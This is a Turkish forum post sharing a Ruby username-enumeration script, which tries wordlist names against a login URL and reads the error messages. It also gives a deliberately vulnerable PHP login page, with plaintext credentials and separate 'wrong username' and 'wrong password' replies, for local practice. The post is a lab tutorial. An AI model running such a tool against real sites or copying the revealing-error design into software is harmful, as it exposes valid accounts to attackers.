- 5 May 2020
- 44
- 21
Ruby ile basit bir Username Enumeration aracı yazdım.
Enumeration nedir? diyorsanız önce User Enumeration Nedir? konuma göz atmalısınız!
optparse, net/http ve colorize kütüphaneleri kullanılmıştır.
Zafiyete uygun php lab kodu:
Php kodunu localde çalıştırıp toolu deneyebilirsiniz.
1 - 2 ufak şey ekleyip github linki de paylaşacağım.
Enumeration nedir? diyorsanız önce User Enumeration Nedir? konuma göz atmalısınız!
optparse, net/http ve colorize kütüphaneleri kullanılmıştır.
Ruby:
require 'optparse'
require 'net/http'
require 'colorize'
options = {}
opt_parser = OptionParser.new do |opts|
opts.banner = "Usage : enum.rb -w [WORDLİST] -u [host ip / URL] -h [help]"
opts.on("-w usernames") do |usernames|
options[:usernames] = usernames
end
opts.on("-u host") do |host|
options[:host] = host
end
opts.on("-h") do
puts opts
exit
end
end
opt_parser.parse!
dosya_yolu = options[:usernames]
usernames = File.readlines(options[:usernames]).map(&:strip)
puts "
░░░░░██╗███████╗░█████╗░███╗░░██╗░██████╗░█████╗░
░░░░░██║██╔════╝██╔══██╗████╗░██║██╔════╝██╔══██╗
░░░░░██║█████╗░░██║░░██║██╔██╗██║╚█████╗░███████║
██╗░░██║██╔══╝░░██║░░██║██║╚████║░╚═══██╗██╔══██║
╚█████╔╝███████╗╚█████╔╝██║░╚███║██████╔╝██║░░██║
░╚════╝░╚══════╝░╚════╝░╚═╝░░╚══╝╚═════╝░╚═╝░░╚═╝
███████╗███╗░░██╗██╗░░░██╗███╗░░░███╗███████╗██████╗░░█████╗░████████╗░█████╗░██████╗░
██╔════╝████╗░██║██║░░░██║████╗░████║██╔════╝██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗
█████╗░░██╔██╗██║██║░░░██║██╔████╔██║█████╗░░██████╔╝███████║░░░██║░░░██║░░██║██████╔╝
██╔══╝░░██║╚████║██║░░░██║██║╚██╔╝██║██╔══╝░░██╔══██╗██╔══██║░░░██║░░░██║░░██║██╔══██╗
███████╗██║░╚███║╚██████╔╝██║░╚═╝░██║███████╗██║░░██║██║░░██║░░░██║░░░╚█████╔╝██║░░██║
╚══════╝╚═╝░░╚══╝░╚═════╝░╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░░╚════╝░╚═╝░░╚═╝".colorize(:cyan)
# Yanıtı kontrol etme
found = []
usernames.each do |username|
host = options[:host]
url = URI(host)
data = {
'username' => username,
'password' => 'sifre'}
request = Net::HTTP::Post.new(url.path)
request.set_form_data(data)
response = Net::HTTP.start(url.host, url.port) do |http|
http.request(request)
end
case response
when Net::HTTPSuccess
response_body = response.body.force_encoding('UTF-8')
if response_body.include?("Kullanıcı adı yanlış!")
puts "#{username} ==> YANLIŞ!".colorize(:red)
else
puts "Kullanıcı Bulundu. Kullanıcı adı : #{username}".colorize(:green)
found << username
end
else
puts "İstek basarisiz oldu. Hata kodu: #{response.code}, Hata mesaji: #{response.message}"
end
end
puts
puts "Bulunan kullanıcılar: #{found.join(', ')}".colorize(:blue) if found.any?
Zafiyete uygun php lab kodu:
PHP:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Giriş Formu</title>
</head>
<body>
<h2>Giriş Formu</h2>
<form method="post">
<label for="username">Kullanıcı Adı:</label><br>
<input type="text" id="username" name="username"><br>
<label for="password">Şifre:</label><br>
<input type="password" id="password" name="password"><br><br>
<input type="submit" value="Giriş Yap">
</form>
<?php
// Kullanıcı adı ve şifrelerin saklandığı dizi
$users = array(
"adminim" => "sifrem",
"user1" => "sifre1",
"user2" => "sifre2"
// İstediğiniz kadar kullanıcı adı ve şifresini buraya ekleyebilirsiniz
);
// Kullanıcı adı ve şifre kontrolü
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$inputUsername = $_POST["username"];
$inputPassword = $_POST["password"];
// Kullanıcı adı doğrulama
if (array_key_exists($inputUsername, $users)) {
if ($inputPassword === $users[$inputUsername]) {
echo "<p>Giriş Başarılı!</p>";
} else {
echo "<p style='color:red;'>Şifre yanlış!</p>";
}
} else {
echo "<p style='color:red;'>Kullanıcı adı yanlış!</p>";
}
}
?>
</body>
</html>
Php kodunu localde çalıştırıp toolu deneyebilirsiniz.
1 - 2 ufak şey ekleyip github linki de paylaşacağım.
ruby enumerator.rb -u http://127.0.0.1/login.php -w user.txt
ile kullanabilirsiniz!ruby enumerator.rb -h
ile kullanım detaylarına erişebilirsiniz!